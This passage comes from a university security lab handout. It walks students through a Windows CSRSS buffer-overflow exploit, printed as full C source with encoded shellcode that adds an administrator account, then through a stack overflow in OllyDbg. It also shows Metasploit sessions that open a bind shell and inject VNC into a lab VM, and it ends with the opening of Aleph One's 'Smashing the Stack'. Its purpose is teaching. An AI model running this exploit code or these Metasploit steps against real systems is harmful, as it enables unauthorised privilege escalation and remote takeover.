2003 (Itanium) * Microsoft Windows Server 2003

21

* Microsoft Windows Server 2003 for Itanium-based Systems * Microsoft Windows 98, Microsoft Windows 98 Second Edition (SE), and Microsoft Windows Millennium Edition (ME) he/she can obtain administrator privileges by performing a buffer overflow in Windows’ CSRSS which is the user-mode part of Win32 subsystem. This exploit creates an account called “e” with Administrator’s privileges. The Password is: “asd#321”. To install and run this exploit, you first need to create a Limited account on your WinXP virtual machine. Go to Start > Control Panel > User Accounts > Create a New Account. Use whatever username you want, but make sure you select Limited for account type. Next, log off and log in as your newly created user. On the NAS in the Lab6 folder there is a file called csrss.zip.RenameME. It has been renamed for your safety. AS THE LIMITED USER, get it from the NAS and onto your WinXP virtual machine. (\\57.35.6.10\secure_class, with the usual password secure_class). Right click on the file and rename it csrss.zip. Open the zipped folder and copy the contents, csrss.exe, to your desktop. The exploit requires you to know the Process ID of “WINLOGON.EXE”. This is done in step 4. Make sure you are running the project in a “Limited” account in order to see the exploit work. To run it:

1. Click Start > Run 2. Type cmd 3. Go to C:\Documents and Settings\<username>\Desktop 4. Enter tasklist. You will now see the processes that are running on your machine.

Find the one that says “WINLOGON.EXE” and write down the PID, which is displayed at the bottom-left of the process window.

5. Enter csrss.exe <PID> The command line will close and trying to run it again will cause an error. Restart the VM and log in as: USERNAME: e PASSWORD: asd#321 You now have Administrator’s privileges!!! You can verify this by looking at the users on your computer (Start > Control Panel > User Accounts) and checking your privileges. It will say Computer Administrator. 19) Were you able to obtain administrator privileges?

22

Just as an FYI: EXPLOIT CODE used in Obtaining Administrator Privileges on Windows using a Buffer Overflow Attack #include <windows.h> #include <stdio.h> #include <tlhelp32.h> #pragma comment (lib,"Advapi32.lib") typedef struct _CONSOLE_STATE_INFO { /* 0x00 */ DWORD cbSize; /* 0x04 */ COORD ScreenBufferSize; /* 0x08 */ COORD WindowSize; /* 0x0c */ POINT WindowPosition; /* 0x14 */ COORD FontSize; /* 0x18 */ DWORD FontFamily; /* 0x1c */ DWORD FontWeight; /* 0x20 */ WCHAR FaceName[0x200]; } CONSOLE_STATE_INFO, *PCONSOLE_STATE_INFO; typedef struct xxx { DWORD dw[6]; char cmd[0x50]; }address_and_cmd; char decoder[]= "\x8b\xdc" "\xBE\x44\x59\x41\x53\x46\xBF\x44\x59\x34\x53\x47\x43\x39\x33\x75" "\xFB\x83\xC3\x04\x80\x33\x97\x43\x39\x3B\x75\xF8\x45\x59\x41\x53"; //user=e //pass=asd#321 char add_user[]= "\x90\x90\x90\x90\x90\x90\x90\x8D\x7b\x98\xFF\x77\x14\x6A\x00\x68" "\x2A\x04\x00\x00\xFF\x17\x8B\xD8\x6A\x04\x68\x00\x10\x00\x00\x68" "\x00\x01\x00\x00\x6A\x00\x53\xFF\x57\x04\x8B\xF0\x6A\x00\x68\x00" "\x01\x00\x00\x8D\x47\x18\x50\x56\x53\xFF\x57\x08\x33\xC0\x50\x50"

23

"\x56\xFF\x77\x10\x50\x50\x53\xFF\x57\x0C"; char decode_end_sign[]="EY4S"; char sc[0x200]; char szConsoleTitle[256]; DWORD search_jmpesp() { char szDLL[][30] = {"ntdll.dll", "kernel32.dll", "user32.dll", "gdi32.dll", "winsrv.dll", "csrsrv.dll", "basesrv.dll"}; int i,y; BOOL done; HMODULE h; BYTE *ptr; DWORD addr=0; for(i=0;i<sizeof(szDLL)/sizeof(szDLL[0]);i++) { done = FALSE; h = LoadLibrary(szDLL[i]); if(h == NULL) continue; printf("[+] start search \"FF E4\" in %s\n", szDLL[i]); ptr = (BYTE *)h; for(y = 0;!done;y++) { __try { if(ptr[y] == (BYTE)'\xFF' && ptr[y+1] == (BYTE)'\xE4') { addr = (int)ptr + y; done = TRUE; printf("[+] found \"FF E4\"(jmp esp) in %X[%s]\n", addr, szDLL[i]); } } __except(EXCEPTION_EXECUTE_HANDLER) { done = TRUE; } } FreeLibrary(h); if(addr) break; } return addr; } BOOL make_shellcode(DWORD dwTargetPid) { HMODULE hKernel32; address_and_cmd aac; int i=0, j=0, size=0; hKernel32 = LoadLibrary("kernel32.dll"); if(!hKernel32) return FALSE; aac.dw[0] = (DWORD)GetProcAddress(hKernel32, "OpenProcess"); aac.dw[1] = (DWORD)GetProcAddress(hKernel32, "VirtualAllocEx"); aac.dw[2] = (DWORD)GetProcAddress(hKernel32, "WriteProcessMemory"); aac.dw[3] = (DWORD)GetProcAddress(hKernel32, "CreateRemoteThread"); aac.dw[4] = (DWORD)GetProcAddress(hKernel32, "WinExec"); aac.dw[5] = dwTargetPid; memset(aac.cmd, 0, sizeof(aac.cmd)); strcpy(aac.cmd, "cmd /c net user e asd#321 /add && net localgroup administrators e /add"); //encode strcpy(sc, decoder); for(i=0;i<sizeof(add_user);i++) add_user[i]^=(BYTE)'\x97';

24

strcat(sc, add_user); for(i=0;i<sizeof(aac);i++) ((char *)&aac)[i]^=(BYTE)'\x97'; size=strlen(sc); memcpy(&sc[size], (char *)&aac, sizeof(aac)); size+=sizeof(aac); sc[size]='\x0'; strcat(sc, decode_end_sign); return TRUE; } void exploit(HWND hwnd, DWORD dwPid) { HANDLE hFile; LPVOID lp; int i, index; DWORD dwJMP; CONSOLE_STATE_INFO csi; memset((void *)&csi, 0, sizeof(csi)); csi.cbSize = sizeof(csi); csi.ScreenBufferSize.X = 0x0050; csi.ScreenBufferSize.Y = 0x012c; csi.WindowSize.X = 0x0050; csi.WindowSize.Y=0x0019; csi.WindowPosition.x = 0x58; csi.WindowPosition.y = 0x58; csi.FontSize.X = 0; csi.FontSize.Y=0xc; csi.FontFamily = 0x36; csi.FontWeight = 0x190; for(i=0;i<0x58;i++) ((char *)csi.FaceName)[i] = '\x90'; dwJMP = search_jmpesp(); if(!dwJMP) { printf("[-] search FF E4 failed.\n"); return; } memcpy(&((char *)csi.FaceName)[0x58], (char *)&dwJMP, 4); for(i=0;i<0x20;i++) strcat((char *)csi.FaceName, "\x90"); index = strlen((char *)csi.FaceName); if(!make_shellcode(dwPid)) return; memcpy(&((char *)csi.FaceName)[index], (char *)sc, strlen(sc)); hFile = CreateFileMappingW((void *)0xFFFFFFFF,0,4,0,csi.cbSize,0); if(!hFile) { printf("[-] CreateFileMapping failed:%d\n", GetLastError()); return; } printf("[+] CreateFileMapping OK!\n"); lp = MapViewOfFile(hFile, 0x0F001F,0,0,0); if(!lp) { printf("[-] MapViewOfFile failed:%d\n", GetLastError()); return; } printf("[+] MapViewOfFile OK!\n"); //copy memcpy((unsigned short *)lp, (unsigned short *)&csi, csi.cbSize); printf("[+] Send Exploit!\n"); SendMessageW(hwnd,0x4C9,(WPARAM)hFile,0); }

25

void main(int argc, char **argv) { DWORD dwRet; HWND hwnd = NULL; DWORD dwPid = 0; HANDLE hSnapshot = NULL; PROCESSENTRY32 pe; printf( "MS05-018 windows CSRSS.EXE Stack Overflow exp v1.0\n" "Affect: Windows 2000 sp3/sp4 (all language)\n" "Coded by eyas <eyas at xfocus.org>\n" "http://www.xfocus.net\n\n"); if(argc==2) { dwPid = atoi(argv[1]); } else { printf("Usage: %s pid\n\n", argv[0]); hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); pe.dwSize = sizeof(PROCESSENTRY32); Process32First(hSnapshot,&pe); do { if( strcmpi(pe.szExeFile, "WINLOGON.EXE") == 0) { printf("[+] PID=%d Process=%s\n", pe.th32ProcessID, pe.szExeFile); } } while(Process32Next(hSnapshot,&pe)==TRUE); CloseHandle (hSnapshot); } if(!dwPid) return; if(!FreeConsole()) printf("[-] FreeConsole failed:%d\n", GetLastError()); else { printf("[+] FreeConsole ok.\n"); if(!AllocConsole()) printf("[-] AllocConsole failed:%d\n", GetLastError()); else printf("[+] AllocConsole ok.\n"); } dwRet = GetConsoleTitle(szConsoleTitle, sizeof(szConsoleTitle)); if(dwRet) { printf("[+] Get Console Title OK:\"%s\"\n", szConsoleTitle); } else { printf("[-] Get Console Title failed.\n"); return; } hwnd = FindWindow("ConsoleWindowClass",szConsoleTitle); if(hwnd) printf("[+] bingo! found hwnd=%X\n", hwnd); else { printf("[-] can't found hwnd!\n"); return; } exploit(hwnd, dwPid); printf("[+] Done.\n"); }

26

Section VII – Watching a Buffer overflow in action Understanding the nuances of the stack is a challenge for all those who attempt to write a buffer overflow. This introductory part will help clear out many misconceptions as well as provide a firm foundation for understanding the remaining parts of the assignment. OllyDbg is a 32-bit assembler level analysing debugger for Microsoft® Windows®. Emphasis on binary code analysis makes it particularly useful in cases where source is unavailable.

[http://www.ollydbg.de/download.htm]

1. Copy the files Cpp1.exe and odbg110.zip from the Lab6 folder of the NAS to your WinXP virtual machine.

2. Extract odbg110.zip into a folder and double click the OLLYDBG.EXE file 3. In the menu go to OPTIONS > JUST IN TIME DEBUGGING 4. Select <Make OllyDbg just in time debugger> 5. Select <Attach without confirmation>

6. Select <Done>

Cpp1.exe is a simple program, very similar to the one described in AlephOne’s paper (Smashing the Stack). The code for the exe is displayed below. #include<stdio.h> #include<string.h> #include<stdlib.h> void overflow (char * longstr) { char buff[32]; strcpy(buff, longstr); } void main (int argc, char* argv[]) { if(argc != 2) { printf("Usage EXE <Argument>"); exit(0); } __asm{int 03h}; // Code to generate a breakpoint for the debugger overflow(argv[1]); }

27

Notice the __asm{int 03h}; instruction. INT 03H is an instruction that causes a breakpoint. This breakpoint causes a debugger to be invoked, allowing us to view the contents of the stack before the function is called. This line of code in NO WAY modifies the execution of the program. It is only placed so that the debugger is invoked, allowing us to easily study the execution of the code. To begin the demonstration, perform the following task.

1. Go to Start > Run > cmd 2. Go to C:\Documents and Settings\user1\Desktop\ (or wherever you put

Cpp1.exe) 3. Execute the program by typing

C:\Cpp1.exe @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

4. An exception occurs and the debugger is now invoked

28

Notice the following:

(a) The value of EIP and the address of the instruction INT 3, is the same (0040104D). This is the location where the Instruction Pointer (EIP) is, and it is pointing to the current instruction which is executing.

(b) Following this instruction, at 00401054, is the instruction PUSH ECX. This

pushes a pointer to the value of ARGV[1] onto the stack

(c) Then there is a CALL instruction. This instruction calls the function overflow, which resides at location 00401000.

To watch the execution, press F7 repeatedly to notice the following events taking place. If we proceed to step through the execution, we notice that at the instruction

00401021: F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]

Stack Window

Code Window

CPU Registers

Instruction that caused the debugger to load.

29

The stack starts filling up with 40404040… The address on the stack where the debugger starts displaying the 40404040 indicates the start of the buffer we wish to exploit. This is the address which we would have to make our return address point to. As we proceed with the execution, we notice the entire stack being overwritten with 40s. The stack now gets completely filled with 40s

Instruction that starts copying the string onto the stack from memory

Location on the stack where the buffer begins

30

The debugger then returns the error : (if you don’t see this after a while of holding down F7, and the bottom info bar says something about pushing Shift+F7/F8/F9 to pass an exception, use Shift+F7 to pass an exception.)

This indicates that we managed to overwrite the address with 40404040 (which is the ASCII value for @@@@) Now, we can modify this address by placing any value we want into the buffer, thus causing it to jump to the address of our choosing… To find out where the return address was stored, all we have to do is to send instead of @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@, we send ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz123456789 So, when we get the memory exception, it will tell us exactly where in our buffer the return address is to be placed for us to jump to any arbitrary location. And then we look to see how we can overwrite this address to point into our stack and into our shell code.

Now, we know that 6A = j, 69 = i, 68 = h, 67 = g So, in our overflow value, we can put, (in place of “ghij”), whatever value we wish and cause the program execution to jump to that location and resume execution. Thus, the format of a buffer overflow exploit would be

31

* The JUMP will contain the address of the start of the buffer. In this case 0012FF58. Thus, we know exactly where in the buffer the Jump instruction is and where exactly we need to jump to start our shell code. 20) Were you able to follow the example in the debugger as explained in the lab? Section VIII – Automated Toolkits to Write Buffer Overflow Exploits Metasploit Framework This tool was the first open-source and freely available exploit development framework, and in the year following its release, MSF rapidly grew to be one of the security community’s most popular tools. This tool reduces the time and background knowledge required to develop and run functional exploits. Here is a simple example to demonstrate the power of this tool. We will attack the Windows XP virtual machine.

1) Start up the Windows XP virtual machine. 2) Copy the Metasploit framework, framework-2.4.tar.gz, from the folder Lab6 on

the NAS to the WS4 machine. 3) Extract it’s contents using tar –zxvf framework-2.4.tar.gz 4) Change to the directory: cd framework-2.4 5) Listed you will find many of the metasploit tools [root@group32 framework-2.4]# ls data exploits msfcli msfencode msfpescan nops src docs extras msfconsole msflogdump msfupdate payloads tools encoders lib msfelfscan msfpayload msfweb sdk The framework contains multiple interfaces: a command line interface (msfcli), a console interface (msfconsole) and a web interface (msfweb).

NOP Buffer

Exploit Shell Code

Jump into NOP Buffer* Jump into NOP Buffer* Jump into NOP Buffer*

32

This tool is also available freely and can be run on Windows with it’s cygwin installer, as of Framework 3.0 it is now available as a Win32 standalone application. 6) We will use the console interface msfconsole. Run ./msfconsole

[root@group32 framework-2.4]# ./msfconsole (ie Term::Read Line::Gnu) ## ### ## ## ## ## #### ###### #### ##### ##### ## #### ###### ####### ## ## ## ## ## ## ## ## ## ## ### ## ####### ###### ## ##### #### ## ## ## ## ## ## ## ## # ## ## ## ## ## ## ##### ## ## ## ## ## ## ## #### ### ##### ##### ## #### #### #### ### ## + -- --=[ msfconsole v2.4 [75 exploits - 75 payloads] 7) Type show exploits to see a list of exploits the framework contains. msf > show exploits Metasploit Framework Loaded Exploits ==================================== 3com_3cdaemon_ftp_overflow 3Com 3CDaemon FTP Server Overflow Credits Metasploit Framework Credits afp_loginext AppleFileServer LoginExt PathName Overflow aim_goaway AOL Instant Messenger goaway Overflow apache_chunked_win32 Apache Win32 Chunked Encoding arkeia_agent_access Arkeia Backup Client Remote Access arkeia_type77_macos Arkeia Backup Client Type 77 Overflow (Mac OS X) arkeia_type77_win32 Arkeia Backup Client Type 77 Overflow (Win32) backupexec_ns Veritas Backup Exec Name Service Overflow bakbone_netvault_heap BakBone NetVault Remote Heap Overflow blackice_pam_icq ISS PAM.dll ICQ Parser Buffer Overflow cabrightstor_disco CA BrightStor Discovery Service Overflow cabrightstor_disco_servicepc CA BrightStor Discovery Service SERVICEPC Overflow cabrightstor_uniagent CA BrightStor Universal Agent Overflow calicclnt_getconfig CA License Client GETCONFIG Overflow calicserv_getconfig CA License Server GETCONFIG Overflow distcc_exec DistCC Daemon Command Execution exchange2000_xexch50 Exchange 2000 MS03-46 Heap Overflow globalscapeftp_user_input GlobalSCAPE Secure FTP Server user input overflow ia_webmail IA WebMail 3.x Buffer Overflow icecast_header Icecast (<= 2.0.1) Header Overwrite (win32) iis40_htr IIS 4.0 .HTR Buffer Overflow iis50_printer_overflow IIS 5.0 Printer Buffer Overflow iis50_webdav_ntdll IIS 5.0 WebDAV ntdll.dll Overflow iis_fp30reg_chunked IIS FrontPage fp30reg.dll Chunked Overflow iis_nsiislog_post IIS nsiislog.dll ISAPI POST Overflow iis_source_dumper IIS Web Application Source Code Disclosure iis_w3who_overflow IIS w3who.dll ISAPI Overflow imail_imap_delete IMail IMAP4D Delete Overflow imail_ldap IMail LDAP Service Buffer Overflow irix_lpsched_exec Irix lpsched Command Execution lsass_ms04_011 Microsoft LSASS MSO4-011 Overflow maxdb_webdbm_get_overflow MaxDB WebDBM GET Buffer Overflow mercantec_softcart Mercantec SoftCart CGI Overflow minishare_get_overflow Minishare 1.41 Buffer Overflow msasn1_ms04_007_killbill Microsoft ASN.1 Library Bitstring Heap Overflow

33

msmq_deleteobject_ms05_017 Microsoft Message Queueing Service MSO5-017 msrpc_dcom_ms03_026 Microsoft RPC DCOM MSO3-026 mssql2000_preauthentication MSSQL 2000/MSDE Hello Buffer Overflow mssql2000_resolution MSSQL 2000/MSDE Resolution Overflow netterm_netftpd_user_overflow NetTerm NetFTPD USER Buffer Overflow openview_omniback HP OpenView Omniback II Command Execution oracle9i_xdb_ftp Oracle 9i XDB FTP UNLOCK Overflow (win32) oracle9i_xdb_ftp_pass Oracle 9i XDB FTP PASS Overflow (win32) payload_handler Metasploit Framework Payload Handler poptop_negative_read Poptop Negative Read Overflow realserver_describe_linux RealServer Describe Buffer Overflow samba_nttrans Samba Fragment Reassembly Overflow samba_trans2open Samba trans2open Overflow samba_trans2open_osx Samba trans2open Overflow (Mac OS X) samba_trans2open_solsparc Samba trans2open Overflow (Solaris SPARC) sambar6_search_results Sambar 6 Search Results Buffer Overflow seattlelab_mail_55 Seattle Lab Mail 5.5 POP3 Buffer Overflow sentinel_lm7_overflow SentinelLM UDP Buffer Overflow servu_mdtm_overflow Serv-U FTPD MDTM Overflow smb_sniffer SMB Password Capture Service solaris_dtspcd_noir Solaris dtspcd Heap Overflow solaris_kcms_readfile Solaris KCMS Arbitary File Read solaris_lpd_exec Solaris LPD Command Execution solaris_sadmind_exec Solaris sadmind Command Execution solaris_snmpxdmid Solaris snmpXdmid AddComponent Overflow solaris_ttyprompt Solaris in.telnetd TTYPROMPT Buffer Overflow squid_ntlm_authenticate Squid NTLM Authenticate Overflow svnserve_date Subversion Date Svnserve trackercam_phparg_overflow TrackerCam PHP Argument Buffer Overflow uow_imap4_copy University of Washington IMAP4 COPY Overflow uow_imap4_lsub University of Washington IMAP4 LSUB Overflow ut2004_secure_linux Unreal Tournament 2004 "secure" Overflow (Linux) ut2004_secure_win32 Unreal Tournament 2004 "secure" Overflow (Win32) warftpd_165_pass War-FTPD 1.65 PASS Overflow warftpd_165_user War-FTPD 1.65 USER Overflow webstar_ftp_user WebSTAR FTP Server USER Overflow windows_ssl_pct Microsoft SSL PCT MS04-011 Overflow wins_ms04_045 Microsoft WINS MS04-045 Code Execution wsftp_server_503_mkd WS-FTP Server 5.03 MKD Overflow

That’s a lot of exploits!! 8) For now we will run an RPC exploit msrpc_dcom_ms03_026 Microsoft RPC DCOM MSO3-026 But first let’s see what it does: msf > info msrpc_dcom_ms03_026 Name: Microsoft RPC DCOM MSO3-026 Class: remote Version: $Revision: 1.39 $ Target OS: win32, win2000, winnt, winxp, win2003 Keywords: dcom Privileged: Yes Provided By: H D Moore <hdm [at] metasploit.com> spoonm <ninjatools [at] hush.com> Available Targets: Windows NT SP6/2K/XP/2K3 ALL

34

Available Options: Exploit: Name Default Description -------- ------ ------- ------------------ required RHOST The target address required RPORT 135 The target port Payload Information: Space: 998 Avoid: 7 characters | Keys: noconn tunnel bind ws2ord reverse Nop Information: SaveRegs: esp ebp | Keys: Encoder Information: | Keys: Description: This module exploits a stack overflow in the RPCSS service, this vulnerability was originally found by the Last Stage of Delirium research group and has been widely exploited ever since. This module can exploit the English versions of Windows NT 4.0 SP6, Windows 2000, Windows XP, and Windows 2003 all in one request :) References: http://www.osvdb.org/2100 http://www.microsoft.com/technet/security/bulletin/MS03-026.mspx So the exploit we are running is a stack overflow exploit. 9) To select the exploit type in “use <exploitname>” and then see the options that are required to be provided.

msf > use msrpc_dcom_ms03_026 msf msrpc_dcom_ms03_026 > show options Exploit Options =============== Exploit: Name Default Description -------- ------ ------- ------------------ required RHOST The target address required RPORT 135 The target port Target: Windows NT SP6/2K/XP/2K3 ALL

10) Set all the options that are required. Set the RHOST to the ip of the Windows XP virtual machine. msf msrpc_dcom_ms03_026 > set RHOST 57.35.6.168 RHOST -> 57.35.6.168

35

11) The best part about metasploit is that multiple payloads can be used for the same exploit. In our previous examples we just got a shell. Further we will demonstrate other payloads. For now we will start with getting a shell as shown. msf msrpc_dcom_ms03_026 > show payloads Metasploit Framework Usable Payloads ==================================== win32_adduser Windows Execute net user /ADD win32_bind Windows Bind Shell win32_bind_dllinject Windows Bind DLL Inject win32_bind_meterpreter Windows Bind Meterpreter DLL Inject win32_bind_stg Windows Staged Bind Shell win32_bind_stg_upexec Windows Staged Bind Upload/Execute win32_bind_vncinject Windows Bind VNC Server DLL Inject win32_exec Windows Execute Command win32_passivex Windows PassiveX ActiveX Injection Payload win32_passivex_meterpreter Windows PassiveX ActiveX Inject Meterpreter Payload win32_passivex_stg Windows Staged PassiveX Shell win32_passivex_vncinject Windows PassiveX ActiveX Inject VNC Server Payload win32_reverse Windows Reverse Shell win32_reverse_dllinject Windows Reverse DLL Inject win32_reverse_meterpreter Windows Reverse Meterpreter DLL Inject win32_reverse_ord Windows Staged Reverse Ordinal Shell win32_reverse_ord_vncinject Windows Reverse Ordinal VNC Server Inject win32_reverse_stg Windows Staged Reverse Shell win32_reverse_stg_upexec Windows Staged Reverse Upload/Execute win32_reverse_vncinject Windows Reverse VNC Server Inject msf msrpc_dcom_ms03_026 > set PAYLOAD win32_bind PAYLOAD -> win32_bind msf msrpc_dcom_ms03_026(win32_bind) > show options Exploit and Payload Options =========================== Exploit: Name Default Description -------- ------ ----------- ------------------ required RHOST 57.35.6.168 The target address required RPORT 135 The target port Payload: Name Default Description -------- -------- ------- ------------------------------------------ required EXITFUNC thread Exit technique: "process", "thread", "seh" required LPORT 4444 Listening port for bind shell Target: Windows NT SP6/2K/XP/2K3 ALL Type exploit to run the exploit

36

msf msrpc_dcom_ms03_026(win32_bind) > exploit [*] Starting Bind Handler. [*] Connected to REMACT with group ID 0x35c5 [*] Got connection from 57.35.6.166:32781 <-> 57.35.6.168:4444 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>exit exit [*] Exiting Bind Handler.

12) Now we will change the payload to completely control the windows box by injecting a VNC server. Use the command ‘set PAYLOAD win32_bind_vncinject’ NOTE: When we tried this, the VNC shell popped up on the WinXP virtual machine rather than back on the Red Hat 4.0 host. Possibly this has to do with using VMWare rather than an actual separate Windows box. Go ahead and try to run this (you might have to restart your Windows VM if it fails), but don’t worry if it doesn’t work. If you’re interested, you can try and figure out why it failed so we can get it working for future semesters. msf msrpc_dcom_ms03_026(win32_bind) > set PAYLOAD win32_bind_vncinject PAYLOAD -> win32_bind_vncinject msf msrpc_dcom_ms03_026(win32_bind_vncinject) > show options Exploit and Payload Options =========================== Exploit: Name Default Description -------- ------ ----------- ------------------ required RHOST 57.35.6.168 The target address required RPORT 135 The target port Payload: Name Default Description -------- -------- ---------------------------------------------------- ------------------------------------------ required VNCDLL /root/Lab6/Metasploit/framework-2.4//data/vncdll.dll The full path the VNC service dll required EXITFUNC thread Exit technique: "process", "thread", "seh" required AUTOVNC 1 Automatically launch vncviewer required VNCPORT 5900 The local port to use for the VNC proxy required LPORT 4444 Listening port for bind shell Target: Windows NT SP6/2K/XP/2K3 ALL msf msrpc_dcom_ms03_026(win32_bind_vncinject) > exploit [*] Starting Bind Handler. [*] Connected to REMACT with group ID 0x35c6 [*] Got connection from 57.35.6.166:32784 <-> 57.35.6.168:4444 [*] Sending Stage (2834 bytes) [*] Sleeping before sending dll.

37

[*] Uploading dll to memory (348170), Please wait... [*] Upload completed [*] VNC proxy listening on port 5900... VNC viewer for X version 4.0 - built Nov 24 2004 16:03:27 Copyright (C) 2002-2004 RealVNC Ltd. See http://www.realvnc.com for information on VNC. Mon Oct 3 13:49:33 2005 CConn: connected to host 127.0.0.1 port 5900 CConnection: Server supports RFB protocol version 3.3 CConnection: Using RFB protocol version 3.3 TXImage: Using default colormap and visual, TrueColor, depth 24. CConn: Using pixel format depth 6 (8bpp) rgb222 CConn: Using ZRLE encoding [*] VNC proxy finished [*] Exiting Bind Handler. msf msrpc_dcom_ms03_026(win32_bind_vncinject) > Voila! A window now opens connected to the VNC server on the windows machine giving you total control! 21) Did you get a window with total control?

38

Appendix A .oO Phrack 49 Oo. Volume Seven, Issue Forty-Nine File 14 of 16 BugTraq, r00t, and Underground.Org bring you XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Smashing The Stack For Fun And Profit XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX by Aleph One aleph1@underground.org `smash the stack` [C programming] n. On many C implementations it is possible to corrupt the execution stack by writing past the end of an array declared auto in a routine. Code that does this is said to smash the stack, and can cause return from the routine to jump to a random address. This can produce some of the most insidious data-dependent bugs known to mankind. Variants include trash the stack, scribble the stack, mangle the stack; the term mung the stack is not used, as this is never done intentionally. See spam; see also alias bug, fandango on core, memory leak, precedence lossage, overrun screw. Introduction ~~~~~~~~~~~~ Over the last few months there has been a large increase of buffer overflow vulnerabilities being both discovered and exploited. Examples of these are syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt library, at, etc. This paper attempts to explain what buffer overflows are, and how their exploits work. Basic knowledge of assembly is required. An understanding of virtual memory concepts, and experience with gdb are very helpful but not necessary. We also assume we are working with an Intel x86 CPU, and that the operating system is Linux. Some basic definitions before we begin: A buffer is simply a contiguous block of computer memory that holds multiple instances of the same data type. C programmers normally associate with the word buffer arrays. Most commonly, character arrays. Arrays, like all variables in C, can be declared either static or dynamic. Static variables are allocated at load time on the data segment. Dynamic variables are allocated at run time on the stack. To overflow is to flow, or fill over the top, brims, or bounds.

39

We will concern ourselves only with the overflow of dynamic buffers, otherwise known as stack-based buffer overflows. Process Memory Organization ~~~~~~~~~~~~~~~~~~~~~~~~~~~ To understand what stack buffers are we must first understand how a process is organized in memory. Processes are divided into three regions: Text, Data, and Stack. We will concentrate on the stack region, but first a small overview of the other regions is in order. The text region is fixed by the program and includes code (instructions) and read-only data. This region corresponds to the text section of the executable file. This region is normally marked read-only and any attempt to write to it will result in a segmentation violation. The data region contains initialized and uninitialized data. Static variables are stored in this region. The data region corresponds to the data-bss sections of the executable file. Its size can be changed with the brk(2) system call. If the expansion of the bss data or the user stack exhausts available memory, the process is blocked and is rescheduled to run again with a larger memory space. New memory is added between the data and stack segments. /------------------\ lower | | memory | Text | addresses | | |------------------| | (Initialized) | | Data | | (Uninitialized) | |------------------| | | | Stack | higher | | memory \------------------/ addresses Fig. 1 Process Memory Regions What Is A Stack? ~~~~~~~~~~~~~~~~ A stack is an abstract data type frequently used in computer science. A stack of objects has the property that the last object placed on the stack

40

will be the first object removed. This property is commonly referred to as last in, first out queue, or a LIFO. Several operations are defined on stacks. Two of the most important are PUSH and POP. PUSH adds an element at the top of the stack. POP, in contrast, reduces the stack size by one by removing the last element at the top of the stack. Why Do We Use A Stack? ~~~~~~~~~~~~~~~~~~~~~~ Modern computers are designed with the need of high-level languages in mind. The most important technique for structuring programs introduced by high-level languages is the procedure or function. From one point of view, a procedure call alters the flow of control just as a jump does, but unlike a jump, when finished performing its task, a function returns control to the statement or instruction following the call. This high-level abstraction is implemented with the help of the stack. The stack is also used to dynamically allocate the local variables used in functions, to pass parameters to the functions, and to return values from the function. The Stack Region ~~~~~~~~~~~~~~~~ A stack is a contiguous block of memory containing data. A register called the stack pointer (SP) points to the top of the stack. The bottom of the stack is at a fixed address. Its size is dynamically adjusted by the kernel at run time. The CPU implements instructions to PUSH onto and POP off of the stack. The stack consists of logical stack frames that are pushed when calling a function and popped when returning. A stack frame contains the parameters to a function, its local variables, and the data necessary to recover the previous stack frame, including the value of the instruction pointer at the time of the function call.

41

Depending on the implementation the stack will either grow down (towards lower memory addresses), or up. In our examples we'll use a stack that grows down. This is the way the stack grows on many computers including the Intel, Motorola, SPARC and MIPS processors. The stack pointer (SP) is also implementation dependent. It may point to the last address on the stack, or to the next free available address after the stack. For our discussion we'll assume it points to the last address on the stack. In addition to the stack pointer, which points to the top of the stack (lowest numerical address), it is often convenient to have a frame pointer (FP) which points to a fixed location within a frame. Some texts also refer to it as a local base pointer (LB). In principle, local variables could be referenced by giving their offsets from SP. However, as words are pushed onto the stack and popped from the stack, these offsets change. Although in some cases the compiler can keep track of the number of words on the stack and thus correct the offsets, in some cases it cannot, and in all cases considerable administration is required. Futhermore, on some machines, such as Intel-based processors, accessing a variable at a known distance from SP requires multiple instructions. Consequently, many compilers use a second register, FP, for referencing both local variables and parameters because their distances from FP do not change with PUSHes and POPs. On Intel CPUs, BP (EBP) is used for this purpose. On the Motorola CPUs, any address register except A7 (the stack pointer) will do. Because the way our stack grows, actual parameters have positive offsets and local variables have negative offsets from FP. The first thing a procedure must do when called is save the previous FP (so it can be restored at procedure exit). Then it copies SP into FP to create the new FP, and advances SP to reserve space for the local variables. This code is called the procedure prolog. Upon procedure exit, the stack must be cleaned up again, something called the procedure epilog. The Intel

42

ENTER and LEAVE instructions and the Motorola LINK and UNLINK instructions, have been provided to do most of the procedure prolog and epilog work efficiently. Let us see what the stack looks like in a simple example: example1.c: ------------------------------------------------------------------------------ void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { function(1,2,3); } ------------------------------------------------------------------------------ To understand what the program does to call function() we compile it with gcc using the -S switch to generate assembly code output: $ gcc -S -o example1.s example1.c By looking at the assembly language output we see that the call to function() is translated to: pushl $3 pushl $2 pushl $1 call function This pushes the 3 arguments to function backwards into the stack, and calls function(). The instruction 'call' will push the instruction pointer (IP) onto the stack. We'll call the saved IP the return address (RET). The first thing done in function is the procedure prolog: pushl %ebp movl %esp,%ebp subl $20,%esp This pushes EBP, the frame pointer, onto the stack. It then copies the current SP onto EBP, making it the new FP pointer. We'll call the saved FP pointer SFP. It then allocates space for the local variables by subtracting their size from SP. We must remember that memory can only be addressed in multiples of the

43

